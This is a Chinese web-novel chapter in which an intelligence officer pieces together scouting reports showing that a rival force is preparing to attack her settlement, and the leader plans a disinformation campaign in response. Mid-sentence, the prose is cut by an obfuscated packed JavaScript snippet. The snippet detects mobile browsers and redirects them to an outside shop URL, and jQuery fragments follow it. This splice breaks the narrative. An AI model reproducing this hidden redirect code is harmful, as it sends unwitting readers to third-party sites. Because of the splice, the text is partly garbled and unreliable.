雪停之后的第三天,温晚发现了一件事。
她坐在情报室里,面前摊着过去一周所有的线人报告。说是情报室,其实就是宿舍区隔出来的一个小隔间,四面墙是用废木料和碎石夯成的,隔音效果聊胜于无——训练场上的吆喝声、灶台边的剁菜声、陈小满追着幼鹿跑过去的笑声,全都透过墙缝钻进来。但温晚已经习惯了在这种嘈杂环境里工作。她甚至觉得,有点声音反而比绝对的安静更容易集中注意力——太安静了,她会想起刚进游戏时一个人在荒野里发抖的那几夜。
她的记录仪屏幕上开着好几个窗口。一个是线人私信的汇总,按时间线排列,最早的标记是六天前;一个是交易行的查询记录,她用自己写的爬虫脚本从公开频道里抓下来的——当然不是真的爬虫,这破手环哪来的代码环境,是她手动一条一条复制粘贴到树皮笔记上再手工整理出来的,她管这叫“人肉爬虫”;还有一个是她自己绘制的情报地图,营地方圆数十里范围内的每一个异常点都被标注在上面,不同颜色代表不同类别,黄色是可疑足迹,橙色是陌生玩家目击,红色是已确认的敌对行为。
她已经对着这张地图看了整整一个上午。不是因为数据不够——数据已经堆成山了。是因为她在等。等这些碎片在她脑子里自己拼成完整的图案。做记者的时候,带她的老编辑说过一句话:别急着写稿,让事实自己说话。事实说够了,稿子就写完了。
事实现在开始说话了。
第一条线索是六天前出现的。一个陌生编号在交易行的公开频道里反复搜索黎明领地的坐标信息。温晚当时没太在意——领地公开招募新成员,有人想确认位置是正常的。但那个编号的查询频率太高了——每天三次,连续五天,而且查询时间都卡在换岗时分。这不是想加入的人。想加入的人会直接发私信问坐标,不会在公开频道反复搜索。
第二条线索紧跟着第一条。几个自称“路过的独行玩家”在营地外围频繁出现,每次都在预警绳触发后迅速离开,不与任何人接触。温晚手下的一个线人跟她描述过其中一个——穿着深色外套,背着轻型背包,步伐很稳,不像普通求生者那样步履蹒跚。线人问他需要什么帮助,他说“只是路过,不需要”。一个在荒野里走了很久的人,补给消耗了大半,遇到一个防御完整的营地,却说“不需要帮助”。这不正常。
第三条线索是陈池在三天前发现的。他在伐木区巡逻时注意到地面上有几串不规则的足迹——不是营地成员留下的,靴底的纹路他认得,每个人的靴子磨痕都不一样,就像每个人的刀握姿都不一样。伐木区离营地有一段距离,平时只有采伐队会去。但那些足迹出现在了不该出现的位置——靠近采伐队物资堆放点的灌木丛后面。不是一个两个,是一组人。他们蹲在那里观察了很长时间,然后原路撤走,走的时候还刻意用落叶掩盖了足迹。只是掩盖得不够仔细——太刻意了反而留下了更多痕迹。
温晚把这三条线索按时间顺序排列在地图上,用炭笔连线。先是在交易行搜索坐标——对方在确认黎明领地的位置。然后是外围目击——对方在实地侦察领地的防御布局。接着是伐木区足迹——对方开始渗透巡逻范围的外围,观察采伐队的行动规律和人数。从模糊定位到逐步缩小包围圈,每一步都有计划。
她的手指在地图上沿着连线移动,停在了最后一个标注点上。那是今天凌晨收到的消息——线人在一处废弃的交易点发现有人遗留了一张手绘地图,图上标注了黎明领地围墙的几处节点,标注的人用了两种颜色的炭笔:蓝色圈出了围墙高度最低的区域,红色圈出了箭塔火力覆盖不到的死角。手绘地图是苏然在营地扩建时画给新成员看的简化版,只在营地内部流传过。对方拿到它不过短短两天,已经标好了进攻角度。
温晚看着这张被标注过的地图,背后窜起一股凉意。不是因为地图本身——是画这张地图的人,用笔的力度很轻,但每一处圈画都经过了推敲。东南围墙在第二座箭塔和第三座箭塔之间的死角只有几米宽,对方用红圈标了出来;南侧围墙的排水沟深度不够,暴雨时容易积水,对方在蓝圈旁边用极细的笔迹写了一个“待确认”。对方不是在侦察。对方在做攻城前的最后一轮技术复核。
温晚把这四组数据整理成一份完整的威胁评估报告。她做这件事的时候手指很稳——刚进游戏时她在被污染兽追着跑的时候手会抖,第一次拿木棍捅妖兽时手会抖。但她现在不抖了。她已经不是那个在倒木旁举着木棍腿在发抖的女孩了。她现在是黎明领地的情报官,她的情报每提前一息到达苏然手里,围墙上的战斗人员就能多一息的准备时间。
她站起来,走向阵法研究室。苏然正在那里画阵图,看到她的表情后放下了炭笔。温晚把报告递过去,站在旁边等苏然看完。
苏然逐页翻完,沉默了大概十息。然后她问了一个温晚没预料到的问题:“那个频繁搜索我们坐标的编号,在交易行还买过什么?”
温晚调出数据。那个编号在过去五天里购买了大量的建筑材料——石料、木材、铁钉,每一笔都是大宗采购。药品原料——清心草、止血粉基础配方、灵力恢复药剂的催化剂,数量远超个人所需。还有灵力恢复药剂——不是一瓶两瓶,是整批购买,清空了多个独立卖家的库存。建材在加固据点,药品原料说明对方有炼丹师在储备医疗物资,灵力恢复药剂则是为持续作战做体能储备。这些物资组合在一起指向一个推论:这不是一个侦察兵在踩点,是一支军队在做攻城前的后勤储备。
“他不是来试探的。”苏然说,声音平稳如常,但语速比平时略快了一分,“他已经把这里当成了目标。正在做攻城准备。”
温晚把这条结论标注为“紧急优先级”。她开始规划接下来的情报任务——需要确认对方的据点位置、人数和战力分布。但她只有一个人、一个记录仪和一张覆盖青木林海东南方向的情报网。她对着地图沉思片刻,在几个关键坐标上画了圈,然后开始发私信。每条私信都很短,措辞各不相同,但都指向同一个问题:你那边最近有没有陌生人经过?
顾辞飘了进来。青铜灯悬浮在她掌心上方,青色火苗在室内空气里纹丝不动。她等苏然放下树皮笔记本才开口:“有件事,我之前没有完全告诉你。”
丹房遗迹的碎片在万年前被人夺走。碎片之间有相互感应——这是守阵人一脉的不传之秘。当年封印魔灵本体时,太虚宗将所有碎片用同一套封印术封住,每枚碎片之间因此保持着微弱的能量共鸣。净化其中一枚,其他碎片会感知到;取走其中一枚,封印术的共鸣场就会产生一个缺口,距离越近感应越强。如果“先知”手上真的有碎片,他一定能感知到丹房遗迹的碎片被净化了。这意味着他已经知道有另一股势力在收集碎片。他派来侦察黎明领地的人,很可能不只是为了占领——是为了确认这里是不是那个净化了碎片的人所在的地方。
温晚的炭笔在树皮上轻轻点了一下。她把这个信息加入威胁评估模型。对方的动机升级了——不是普通的资源掠夺,不是领地争霸,不是其他,是冲着苏然来的。所有线索在脑子里重新排列组合,在碎片感应这一点上汇聚成一条清晰的因果链。
苏然沉默了一会儿,说了一句让室内的空气都安静下来的话:“他一直在找的人,是我。”不是疑问句。她只是在陈述一个她刚刚推导完成的结论。
接下来怎么做。林朔的声音从门口传来——他不知什么时候已经站在了那里,短刀挂在腰间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872109|212316||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,后背靠在门框上。他在室外听到了全部的对话。
苏然站起来走到窗边,看着外面训练场上正在跑圈的新兵。阿萤跑在最前面,左臂的绷带已经拆了,陈池扛着他的大锤跑在队伍末尾,步伐不快但每一步都踩得很稳。她说:“下棋。他想试探我们的实力,我们就给他看我们想让他看到的。他要确认碎片的下落,我们就让他确认一个假的。”
她转向温晚:“我需要你建立一套更严格的情报加密体系。所有关于领地核心信息——人数、防御布局、我的修为等级、顾辞的存在——全部设为机密级。对外发布的信息必须经过你或我审核。同时,在公开渠道有意识地散播一些相互矛盾的信息——让不同线人向不同渠道报告不同的领地坐标和人数规模。这些信息分开看没有任何意义,但如果有人像我一样在做行为模式分析,就会被引入一个精心设计的迷宫。让他花时间在假信息上,为我们争取更多准备时间。”
林朔补充说,从今天开始,所有对外交易必须使用统一模板——只列物资名称和数量,禁止任何人在交易留言中提及营地位置、人数或防御细节。他顿了顿,又说了一句让苏然有些意外的话:“在围墙外围布设假的巡逻轨迹,夜间用火把制造双倍人数的巡逻假象,让对方的侦察兵误判我们的实际战力。”这不是林朔平时会说的话——他是那种认为“打就完了”的人,但当“打”意味着要面对一支有准备的军队时,他比任何人都更明白情报战的重要性。
苏然看着面前的三个人。温晚的手指还悬在记录仪键盘上,等着她下达具体的指令。顾辞的青色火苗安静地映在她半透明的瞳孔里。林朔站在门口,右手搭在刀柄上,但不是因为紧张——是因为准备好了。
她重新坐下来,翻开树皮笔记本新的一页,开始列第一阶段信息战的行动计划。每一条后面都标注了责任人和完成时限。炭笔在树皮上划过的声音持续了很久,在安静的阵法研究室里清晰而有力。
当天下午,领地的防御等级在无声中提升到了一个新的级别。不是敲锣打鼓的动员,不是公告牌上的大段檄文。是每一个人都在自己的位置上多做了那么一点——许驰带着陈池在围墙外侧新增了一排绊发陷阱,阿萤把训练时间延长了半个时辰,何清重新清点了一遍灵石储备,江屿白加班炼制了第二批情绪稳定丹。老方在灶台边多垒了一个备用灶,在仓库角落堆了几排应急干粮,每排都按人数定量分装,用炭笔标注了日期和份数,用得上的时候能直接搬走。
天色渐晚,温晚坐在情报室里继续整理线人的回复。目前收到了几条反馈——有几个独行玩家确实在附近见过陌生人,其中一个还跟对方搭过话。她把这些反馈逐一记录在情报地图上,每个标注旁边都写了时间和目击细节。拼图正在变得完整。
何清在仓库里把今天新入库的护甲按优先级分配给每个战斗人员,在纸上写下分配明细时笔迹工整得和她第一天到营地时一模一样。老方在灶台边多垒了一个备用灶,自言自语说万一哪天用得着呢。陈小满在医疗站里帮江屿白整理药材,把清心草和止血粉分开放置,小心地贴上不同颜色的标签,贴完还用手压了压确保标签不会脱落。
苏然站在公告牌前,把今天修改过的交易行规范贴在了第七条规则旁边。然后她退后一步,看着这张从第一条一路贴到第七条的公告牌,从“水源使用规范”到“冬季供暖期间老弱病残者优先靠近篝火”,每一行字都记录着她和这个营地一起走过的路。现在这些规则不只是规则了——它们是一道防线,保护着每一个遵守规则的人,也挡住那些不遵守规则的人。她转身向阵法研究室走去,脚步在雪地上踩出一串均匀的印记,每一步都踩在前一步留下的脚印的同一个位置,分毫不差。